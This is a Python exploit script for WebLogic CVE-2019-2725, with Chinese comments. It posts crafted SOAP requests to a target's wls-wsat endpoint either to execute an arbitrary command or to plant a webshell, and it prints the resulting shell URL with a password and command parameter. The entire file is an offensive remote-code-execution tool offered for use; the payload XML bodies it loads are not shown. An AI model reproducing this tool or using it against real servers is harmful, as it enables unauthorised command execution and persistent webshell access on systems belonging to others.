import os
import argparse
import requests
from logzero import logger

COMMON_HEADERS = {
    "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
    "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
    "Content-Type": "text/xml"
}

def load_body_from_file(file_path: str) -> str:
    """从文件加载SOAP请求体"""
    if not os.path.exists(file_path):
        raise FileNotFoundError(f"[-] 配置文件 {file_path} 不存在")
    with open(file_path, 'r', encoding='utf-8') as f:
        return f.read()

def send_soap_request(ip: str, body_file: str, cmd: str = None) -> str:
    """发送SOAP请求的通用函数"""
    try:
        headers = COMMON_HEADERS.copy()
        if cmd:
            headers["cmd"] = cmd
            
        body = load_body_from_file(body_file)
        if cmd and "%s" in body:
            body = body % cmd

        url = f"{ip}/wls-wsat/CoordinatorPortType"
        rsp = requests.post(url, data=body, verify=False, headers=headers)
        return rsp.text
    except Exception as e:
        logger.error(f"[-] 发送SOAP请求失败: {str(e)}")
        return ""

def execute_command(url: str, cmd: str, version: str):
    """执行命令的通用函数"""
    body_file = f"soap_body_{version}.xml"
    response = send_soap_request(url, body_file, cmd)
    if response:
        logger.info(f"\n[+] 命令执行结果:\n{response}")

def deploy_webshell(url: str, version: str):
    """部署webshell的通用函数"""
    body_file = f"soap_body_{version}_webshell.xml"
    response = send_soap_request(url, body_file)
    if response:
        logger.info(f"\n[+] Shell地址: {url}/bea_wls_internal/demo.jsp?pwd=admin&cmd=whoami")

def main():
    parse = argparse.ArgumentParser(description="Weblogic CVE-2019-2725 Exploit -- By MINGY")
    parse.add_argument("version", help="Weblogic版本(10.3.6 或 12.1.3)")
    parse.add_argument("url", help="Weblogic URL地址")
    parse.add_argument('-c', "--cmd", help="要执行的命令")
    args = parse.parse_args()

    if args.cmd:
        execute_command(args.url, args.cmd, args.version)
    else:
        deploy_webshell(args.url, args.version)

if __name__=='__main__':
    main()